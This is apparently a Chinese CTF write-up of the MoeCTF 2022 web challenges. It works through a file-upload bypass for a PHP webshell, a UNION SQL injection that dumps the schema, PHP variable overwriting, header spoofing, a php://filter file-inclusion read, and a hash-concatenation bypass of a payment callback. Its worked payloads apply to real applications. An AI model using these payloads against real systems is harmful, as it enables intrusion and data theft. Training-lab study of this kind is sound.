0%

MoeCTF_2022web

MoeCTF_2022web方向WP

what are y0u uploading?


文件上传题目,先随便上传一个正常的一句话木马的php文件,看看有什么限制
提示只能上传图片类型文件,然后打开bp,现在本机把文件改成jpg格式,然后bp中修改后缀看看是不是在前端做校验
修改后缀后成功上传了

1
2
文件上传成功!filename:2.php
我不想要这个特洛伊文件,给我一个f1ag.php 我就给你flag!

那我们就新建一个f1ag.jpg文件然后改成php上传给他,拿到flag

Sqlmap_boy


一个登录界面,根据题目的意思用sqlmap工具可以直接一把梭?
随便输入一个账号密码然后bp抓包, 用sql跑一下 没跑出来
在页面的源代码发现有提示,这是sql查询语句的源代码

1
<!-- $sql = 'select username,password from users where username="'.$username.'" && password="'.$password.'";'; -->

那就可以在username这里闭合 输入admin" #跳转到http://node5.anna.nssctf.cn:27698/secrets.php?id=1
这里就有注入点了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
1.爆库
?id=-1' union select 1,database(),3 -- +
moectf
3

2.爆表
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- +
articles,flag,users
3

3.爆字段
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag' -- +
flAg
3

4.爆值
?id=-1' union select 1,group_concat(flAg),3 from flag -- +
NSSCTF{4e6ccb7d-4dc7-417c-839b-7522e2460305}

God_of_aim


源代码中有一个注释 <!-- 你知道吗?index.js实例化了一个aimTrainer对象-->
在源代码中点击aimtrainer.js界面看源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
var _0x78bd = ["\x61\x69\x6D\x54\x72\x61\x69\x6E\x65\x72\x45\x6C", "\x61\x69\x6D\x2D\x74\x72\x61\x69\x6E\x65\x72", "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64", "\x73\x63\x6F\x72\x65\x45\x6C", "\x73\x63\x6F\x72\x65", "\x61\x69\x6D\x73\x63\x6F\x72\x65", "\x64\x65\x6C\x61\x79", "\x74\x61\x72\x67\x65\x74\x53\x69\x7A\x65", "\x61\x69\x6D\x73\x63\x6F\x72\x65\x45\x4C", "\x73\x65\x74\x53\x63\x6F\x72\x65", "\x73\x74\x61\x72\x74", "\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C", "\x73\x65\x74\x41\x69\x6D\x53\x63\x6F\x72\x65", "\x70\x6F\x73\x69\x74\x69\x6F\x6E", "\x73\x74\x79\x6C\x65", "\x72\x65\x6C\x61\x74\x69\x76\x65", "\x74\x69\x6D\x65\x72", "\x63\x72\x65\x61\x74\x65\x54\x61\x72\x67\x65\x74", "\x63\x68\x65\x63\x6B\x66\x6C\x61\x67\x31", "\x63\x68\x65\x63\x6B\x66\x6C\x61\x67\x32", "\x73\x74\x6F\x70", "\x6D\x6F\x65\x63\x74\x66\x7B\x4F\x68\x5F\x79\x6F\x75\x5F\x63\x61\x6E\x5F\x61\x31\x6D\x5F", "\u4F60\u5DF2\u7ECF\u5B66\u4F1A\u7784\u51C6\u4E86\uFF01\u8BD5\u8BD5\u770B\x3A", "\x73\x74\x61\x72\x74\x32", "\x61\x6E\x64\x5F\x48\x34\x63\x6B\x5F\x4A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x7D", ""];
class AimTrainer {
constructor({_0xf777x2, _0xf777x3}) {
this[_0x78bd[0]] = document[_0x78bd[2]](_0x78bd[1]);
this[_0x78bd[3]] = document[_0x78bd[2]](_0x78bd[4]);
this[_0x78bd[4]] = 0;
this[_0x78bd[5]] = 0;
this[_0x78bd[6]] = _0xf777x2 || 1000;
this[_0x78bd[7]] = _0xf777x3 || 30;
this[_0x78bd[8]] = document[_0x78bd[2]](_0x78bd[5])
}
createTarget() {
const _0xf777x5 = new Target({
delay: this[_0x78bd[6]],
targetSize: this[_0x78bd[7]],
aimTrainerEl: this[_0x78bd[0]],
onTargetHit: () => {
this[_0x78bd[9]](this[_0x78bd[4]] + 1)
}
});
_0xf777x5[_0x78bd[10]]()
}
setScore(_0xf777x7) {
this[_0x78bd[4]] = _0xf777x7;
this[_0x78bd[3]][_0x78bd[11]] = this[_0x78bd[4]]
}
setAimScore(_0xf777x7) {
this[_0x78bd[5]] = _0xf777x7;
this[_0x78bd[8]][_0x78bd[11]] = _0xf777x7
}
start1() {
this[_0x78bd[9]](0);
this[_0x78bd[12]](10);
this[_0x78bd[0]][_0x78bd[14]][_0x78bd[13]] = _0x78bd[15];
if (!this[_0x78bd[16]]) {
this[_0x78bd[16]] = setInterval( () => {
this[_0x78bd[17]]();
this[_0x78bd[3]][_0x78bd[11]] = this[_0x78bd[4]];
this[_0x78bd[18]]()
}
, this[_0x78bd[6]])
} else {
return
}
}
start2() {
this[_0x78bd[7]] = 10;
this[_0x78bd[6]] = 400;
this[_0x78bd[9]](0);
this[_0x78bd[12]](100000);
this[_0x78bd[0]][_0x78bd[14]][_0x78bd[13]] = _0x78bd[15];
if (!this[_0x78bd[16]]) {
this[_0x78bd[16]] = setInterval( () => {
this[_0x78bd[17]]();
this[_0x78bd[3]][_0x78bd[11]] = this[_0x78bd[4]];
this[_0x78bd[19]]()
}
, this[_0x78bd[6]])
} else {
return
}
}
checkflag1() {
if (this[_0x78bd[4]] == this[_0x78bd[5]]) {
this[_0x78bd[20]]();
alert(_0x78bd[21]);
alert(_0x78bd[22]);
this[_0x78bd[23]]()
}
}
checkflag2() {
if (this[_0x78bd[4]] == this[_0x78bd[5]]) {
this[_0x78bd[20]]();
alert(_0x78bd[24])
}
}
stop() {
this[_0x78bd[0]][_0x78bd[11]] = _0x78bd[25];
if (this[_0x78bd[16]]) {
clearInterval(this[_0x78bd[16]]);
this[_0x78bd[16]] = 0
} else {
return
}
}
}

这里有两个checkflag函数,都是执行了alert函数在控制台中输入,得到一半的flag

再输入第二个checkflag中的alert函数得到另一半flag

如果在NSS中做题前面要改成NSSCTF

ezphp

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

highlight_file('source.txt');
echo "<br><br>";

$flag = 'xxxxxxxx';
$giveme = 'can can need flag!';
$getout = 'No! flag.Try again. Come on!';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($giveme);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($getout);
}

foreach ($_POST as $key => $value) {
$$key = $value;
}

foreach ($_GET as $key => $value) {
$$key = $$value;
}

echo 'the flag is : ' . $flag;

?>

这是一道变量覆盖的题,必须用get和post传入flag参数,但是值不能都是flag
然后foreach中的内容意思是把其中的键值对转换为变量,例如,如果请求是 POST flag=123,那么 $flag = ‘123’;
这里最后一个覆盖是get请求,我们就利用一个中间的变量x,让x=flag,这样子x就会变成我们需要的最原始的flag
然后再让flag=x 这样子就避免了最初的flag被我们输入的flag覆盖了

ezhtml


查看源代码,最有有一个evil.js这是校验逻辑,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
var sx = document.querySelector('#sx');
var yw = document.querySelector('#yw');
var wy = document.querySelector('#wy');
var zh = document.querySelector('#zh');
var zf = document.querySelector('#zf');
var arr = [sx, yw, wy, zh];
var flag = false;
function check() {
if (flag == true) {
clearInterval(timer);
}
var sum = 0;
for (var i = 0; i < arr.length; i++) {
sum += eval(arr[i].innerHTML);
}
if (sum == eval(zf.innerHTML) && sum > 600) {
alert('NSSCTF{91e26cae-0c3a-40c2-b6b8-9a7ffb431d26}');
flag = true;
}
}
var timer = setInterval(check, 1000);

直接得到flag了,这里还要sum大于600,我们也可以按f12修改这些成绩,要把单科和总分一起改,总分要等于总和

cookiehead

题目界面只有仅限本地访问
就在请求头这里加入xff 伪造本地
然后提示You are not from http://127.0.0.1/index.php !
所以加上Referer
最后提示请先登录
再把login 改成1

1
2
┌──(root㉿kakeru)-[~/tmp]
└─# curl http://node5.anna.nssctf.cn:25883/ -H 'X-Forwarded-For 127.0.0.1' -H 'Referer http://127.0.0.1/index.php' -H 'login 1'

baby_file

题目

1
2
3
4
5
6
7
8
9
10
11
12
<html>
<title>Here's a secret. Can you find it?</title>
<?php

if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
?>
</html>

用php伪协议读取文件

1
2
3
4
5
6
7
8
9
10
11
?file=php://filter/convert.base64-encode/resource=flag.php
PD9waHANCkhleSBoZXksIHJlYWNoIHRoZSBoaWdoZXN0IGNpdHkgaW4gdGhlIHdvcmxkISBBY3R1YWxseSBJIGFtIGlrdW4hITsNCg0KTlNTQ1RGe2FkNWI4ZGNiLWZkMDctNDk5MS05MDJiLTYwYWFhMWRjODgyNn07DQoNCj8+

┌──(root㉿kakeru)-[~/tmp]
└─# echo PD9waHANCkhleSBoZXksIHJlYWNoIHRoZSBoaWdoZXN0IGNpdHkgaW4gdGhlIHdvcmxkISBBY3R1YWxseSBJIGFtIGlrdW4hITsNCg0KTlNTQ1RGe2FkNWI4ZGNiLWZkMDctNDk5MS05MDJiLTYwYWFhMWRjODgyNn07DQoNCj8+ | base64 -d
<?php
Hey hey, reach the highest city in the world! Actually I am ikun!!;

NSSCTF{ad5b8dcb-fd07-4991-902b-60aaa1dc8826};

?>

支付系统

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
import os
import uuid
from quart import Quart, render_template, redirect, jsonify, request, session
from hashlib import pbkdf2_hmac
from enum import IntEnum
from tortoise import fields
from tortoise.models import Model
from tortoise.contrib.quart import register_tortoise
from httpx import AsyncClient

app = Quart(__name__)
app.secret_key = os.urandom(16)


class TransactionStatus(IntEnum):
SUCCESS = 0
PENDING = 1
FAILED = 2
TIMEOUT = 3


class Transaction(Model):
id = fields.IntField(pk=True)
user = fields.UUIDField()
amount = fields.IntField()
status = fields.IntEnumField(TransactionStatus)
desc = fields.TextField()
hash = fields.CharField(64, null=True)

def __init__(self, **kwargs):
super().__init__()
for k, v in kwargs.items():
self.__setattr__(k, v)


async def do_callback(transaction: Transaction):
async with AsyncClient() as ses:
transaction.status = int(TransactionStatus.FAILED)
data = (
f'{transaction.id}'
f'{transaction.user}'
f'{transaction.amount}'
f'{transaction.status}'
f'{transaction.desc}'
).encode()
await ses.post(f'http://localhost:8000/callback', data={
'id': transaction.id,
'user': transaction.user,
'amount': transaction.amount,
'desc': transaction.desc,
'status': transaction.status,
'hash': pbkdf2_hmac('sha256', data, app.secret_key, 2**20).hex()
})


@app.before_request
async def create_session():
if 'uid' not in session:
session['uid'] = str(uuid.uuid4())
session['balance'] = 0
for tr in await Transaction.filter(user=session['uid']).all():
if tr.status == TransactionStatus.SUCCESS:
session['balance'] += tr.amount


@app.route('/pay')
async def pay():
transaction = await Transaction.create(
amount=request.args.get('amount'),
desc=request.args.get('desc'),
status=TransactionStatus.PENDING,
user=uuid.UUID(session.get('uid'))
)
app.add_background_task(do_callback, transaction)
return redirect(f'/transaction?id={transaction.id}')


@app.route('/callback', methods=['POST'])
async def callback():
form = dict(await request.form)
data = (
f'{form.get("id")}'
f'{form.get("user")}'
f'{form.get("amount")}'
f'{form.get("status")}'
f'{form.get("desc")}'
).encode()
k = pbkdf2_hmac('sha256', data, app.secret_key, 2**20).hex()
tr = await Transaction.get(id=int(form.pop('id')))
if k != form.get("hash"):
return '403'
form['status'] = TransactionStatus(int(form.pop('status')))
tr.update_from_dict(form)
await tr.save()
return 'ok'


@app.route('/transaction')
async def transaction():
if 'id' not in request.args:
return '404'
transaction = await Transaction.get(id=request.args.get('id'))
return await render_template('receipt.html', transaction=transaction)


@app.route('/flag')
async def flag():
return await render_template(
'flag.html',
balance=session['balance'],
flag=os.getenv('FLAG'),
)


@app.route('/')
@app.route('/index.html')
async def index():
with open(__file__) as f:
return await render_template('source-highlight.html', code=f.read())


register_tortoise(
app,
db_url="sqlite://./data.db",
modules={"models": [__name__]},
generate_schemas=True,
)

if __name__ == '__main__':
app.run()

这是基于Quart的一个python系统
路由有/pay /callback /transaction /flag

1
2
3
4
5
6
7
# 交易状态
class TransactionStatus(IntEnum):
SUCCESS = 0
PENDING = 1
FAILED = 2
TIMEOUT = 3

do_callback(transaction) 发送一个 HTTP POST 请求到 http://localhost:8000/callback,通知交易结果。
pbkdf2_hmac 生成加密哈希,防止数据被篡改。
@app.before_request:每次请求前执行此函数
session['uid'] = str(uuid.uuid4()):如果用户没有 UID,生成一个新的 UUID。
session['balance'] = 0:初始化余额。
if tr.status == TransactionStatus.SUCCESS:
session['balance'] += tr.amount遍历用户的所有成功交易,并把金额累计给balance。
处理 /pay 路由:
 读取 amount 和 desc(从 URL 参数获取)。
 创建一笔交易,初始状态是 PENDING。
 后台执行 do_callback(用于模拟支付流程)。
 跳转到 /transaction 页面,查看交易信息。
/callback:
 用POST请求接受数据,这个路由接受参数,验证交易
 计算 hash,并与请求的 hash 进行对比,防止篡改。
 如果 hash 验证失败,返回 403。
 否则,更新交易状态,并保存到数据库。
/transaction:
 根据id查询交易详情
/flag:
 根据balance的值,如果达成某种条件就输出flag


最重要的是callback这个检验路由 它会把post接受的数据做一个hash来验证交易的真假,但是我们并不知道这个app.secret_key
这里是通过/pay构造一个订单,然后发送到do_callback在这里data被hash加密然后用post传给/callback
而且data的结构是

1
2
3
4
5
6
7
data = (
f'{transaction.id}'
f'{transaction.user}'
f'{transaction.amount}'
f'{transaction.status}'
f'{transaction.desc}'
).encode()

这是字符串拼接的形式
/callback里面接受到data进行hash检验,然后将订单的status修改成我们传入的值

所以总的思路就是构建订单,然后对data数据做更改,把status改成0(success) 让balance满足条件
比如现在的原始data数据是

1
2
id    user   amount   status   desc 
aaa bbb 1000 2 1234

我们要把status改成0而且要data的总的字符串不变 为 aaabbb100021234
修改之后的data为

1
2
id    user   amount   status   desc 
aaa bbb 100 0 21234

拼接之后还是aaabbb100021234

所以我们打开bp 在/pay路由里面输入?amount=1000&desc=1234
构造一个订单,获得id
把得到的id发送到/transaction 里查询订单详情 ?id=(your_id) 可以得到hash
然后到/callback校验路由里面修改订单的数据 id=(your_id)&user=xxx&amount=100&status=0&desc=21234&hash=xxxx
返回ok说明成功修改了
最后访问/flag路由,因为现在的balance已经达到要求了,所以就返回flag了